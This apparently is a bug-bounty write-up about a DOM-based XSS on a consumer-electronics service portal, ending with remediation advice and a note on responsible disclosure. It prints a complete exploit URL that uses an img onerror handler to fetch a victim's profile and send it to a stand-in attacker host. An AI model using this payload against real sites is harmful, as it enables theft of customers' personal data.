HighReflected XSS· 4 min read

One Click From Every Customer's Home Address: XSS Behind a Login Wall

A parts-lookup page echoed one query parameter into the DOM. Behind the login wall, that was enough to drain a victim's full profile with a single click.

Target anonymized · a major consumer-electronics brand's service center

The target was the online service center for a major consumer-electronics brand — the portal where customers book repairs, track replacement parts, and check the status of a device they've mailed in. It's an unglamorous corner of a huge company: no flashy single-page app, no bug-bounty-famous API. Just a few dozen server-rendered .html pages stitched together with some vintage JavaScript. Boring is good. Boring pages don't get pentested twice, and they hold real data — because to use any of it, you sign in with the same account that ties to your name, your address, and your device serials.

What caught my eye was a parts-lookup page that took a partCode in the query string and, a beat after load, painted it into a heading on the page. I changed the value, the page changed. Reflection. The oldest tell in the book.

The spark

The first thing I tried was the dumb thing: partCode=<b>hi</b>. The heading rendered a bold "hi." Not encoded. Not escaped. A raw sink. My pulse ticked up — and then the page did something that almost made me close the tab.

Digging in

I dropped in a <script> tag. Nothing. I tried an <svg onload>. Nothing. Worse, half my attempts kicked me over to a sign-in page and my carefully-crafted URL evaporated. For a while I convinced myself this was a dead end — a reflected value that only rendered inert HTML, guarded by a login redirect that ate the payload.

The redirect was the misdirection. When I actually looked at how the reflection happened, it wasn't the server writing my input into the response. It was client-side JavaScript reading the URL after load and assigning it straight into the DOM:

// what the page did, roughly
const params = new URLSearchParams(location.search);
document.getElementById('partHeading').innerHTML = params.get('partCode');

innerHTML. That's the whole game. Assigning a string to innerHTML won't execute a top-level <script> — which is exactly why my first payloads flopped — but it will wire up an inline event handler. The classic bypass is an image that fails to load on purpose:

<img src=x onerror="...">

And the login redirect? Not a defense at all. It was a guarantee. It fired only when I was logged out. When I was authenticated — which is the exact state a real victim would be in after clicking a link to "check your part status" — the page stayed put and my handler ran with a live, cookie-backed session.

A login wall isn't a security boundary against XSS. It's a delivery guarantee: the victim is authenticated by definition, so your code runs with precisely the session you were hoping to steal.

The exploit

The site helpfully exposed a same-origin endpoint that returned the logged-in user's full profile as JSON to any credentialed request. So the payload didn't need to touch cookies or scrape the DOM — it just asked the API nicely, from inside the victim's own origin, and forwarded the reply.

https://app.example.com/repair/partLookup.html?partCode=<img src=x onerror="
  fetch('/api/user/details', { credentials: 'include' })
    .then(r => r.text())
    .then(d => fetch('https://attacker.example/collect', {
      method: 'POST',
      mode: 'no-cors',
      body: d
    }))
">#x

One URL. The victim clicks it, the broken image fires onerror, the first fetch pulls their profile with their own session, and the second fetch ships it to me as an opaque no-cors POST — no preflight, no CORS drama, nothing to block. The trailing #x is just there to keep any legacy fragment logic from choking on the tail.

The payload came back with everything: full name, complete mailing address and ZIP, phone number, email, internal user IDs, and device identifiers. Copy the link into any message that looks like a shipping notification and you've got a phishing lure that doesn't even need a fake page — it exfiltrates from the real one.

There's a small war story here too: the first time I reported this, it bounced. The reviewer couldn't get past the account sign-in to reproduce it, so from behind the logout redirect the bug looked inert — informative, not exploitable. It's the same illusion that nearly fooled me. The fix on my end wasn't a better payload; it was explaining that the login state is the exploit condition.

Impact

Any authenticated customer who clicks an attacker's link hands over a complete PII dossier — the exact bundle you'd want for identity theft, account recovery abuse, or high-confidence social engineering against the brand's support line. No malware, no credential prompt, no second click.

The fix

Stop assigning untrusted input to innerHTML — use textContent, or contextually encode before it ever reaches the DOM. Ship a real Content-Security-Policy: no unsafe-inline, and a connect-src that forbids exfiltration to arbitrary hosts, so even a missed sink can't phone home. And reconsider an endpoint that returns a user's entire profile to a bare same-origin fetch — scope it down, or gate it behind an anti-CSRF token so a drive-by script can't simply ask for everything.

reflected-xssdom-xsspii-exfiltrationcredentialed-fetchclient-side

All identifiers, targets and payloads in this post are anonymized or defanged. Findings were reported and resolved through responsible disclosure.